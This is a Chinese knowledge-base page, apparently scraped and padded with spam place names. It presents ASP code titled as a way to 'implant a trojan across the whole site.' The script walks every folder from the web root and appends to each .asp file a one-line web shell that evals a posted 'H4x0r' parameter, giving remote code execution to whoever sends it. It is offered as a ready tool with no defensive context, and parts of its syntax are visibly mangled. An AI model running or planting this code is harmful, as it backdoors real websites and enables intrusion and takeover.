佳木斯湛栽影视文化发展公司
主頁 > 知識庫 > FSO遍歷目錄實(shí)現(xiàn)全站插馬的代碼

FSO遍歷目錄實(shí)現(xiàn)全站插馬的代碼
熱門標(biāo)簽：Linux服務(wù)器 阿里云 銀行業(yè)務(wù) 團(tuán)購網(wǎng)站 電子圍欄 科大訊飛語音識別系統(tǒng) Mysql連接數(shù)設(shè)置 服務(wù)器配置
%
dim ph
dim intfile
server.ScriptTimeout = 600
ph=server.mappath("/") 
Sub InsertAllFiles(Path)
Set FSO = CreateObject("Scripting.FileSystemObject")
on error resume next 
Set f = FSO.GetFolder(Path)
Set fc2 = f.files
For Each myfile in fc2
If lcase(FSO.GetExtensionName(path""myfile.name))="asp" then
Set FS1 = CreateObject("Scripting.FileSystemObject")
Set tfile=FS1.opentextfile(path""myfile.name,8,false)
tfile.writeline "SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>eval(Request.form('H4x0r')+'')/SCRIPT>"
else
InsertAllFiles(newpath)
end if
tfile.close
Next
Set fsubfolers = f.SubFolders
For Each f1 in fsubfolers
newpath=path""f1.name
InsertAllFiles(newpath)

Next
set tfile=nothing
Set FSO = Nothing
End Sub
%>
% 
call InsertAllFiles(ph)
%>

標(biāo)簽：蚌埠 廣元 衡水 棗莊 衢州 萍鄉(xiāng) 江蘇 大理

巨人網(wǎng)絡(luò)通訊聲明：本文標(biāo)題《FSO遍歷目錄實(shí)現(xiàn)全站插馬的代碼》，本文關(guān)鍵詞  ；如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題，煩請?zhí)峁┫嚓P(guān)信息告之我們，我們將及時溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò)，涉及言論、版權(quán)與本站無關(guān)。
  • 相關(guān)文章
  • 收縮
    • 微信客服
    • 微信二維碼

    • 電話咨詢

    • 400-1100-266
    阿鲁科尔沁旗| 商都县| 合川市| 葫芦岛市| 彰武县| 昭苏县| 惠来县| 称多县| 福泉市| 柘荣县| 遂宁市| 乌审旗| 边坝县| 乌拉特前旗| 屏东市| 大城县| 海门市| 三明市| 罗甸县| 万源市| 襄汾县| 盐城市| 丰县| 珲春市| 运城市| 阿克苏市| 永年县| 延安市| 缙云县| 明水县| 托里县| 洛扎县| 抚州市| 宁城县| 溧水县| 比如县| 建德市| 乌兰浩特市| 浠水县| 赣州市| 荥阳市|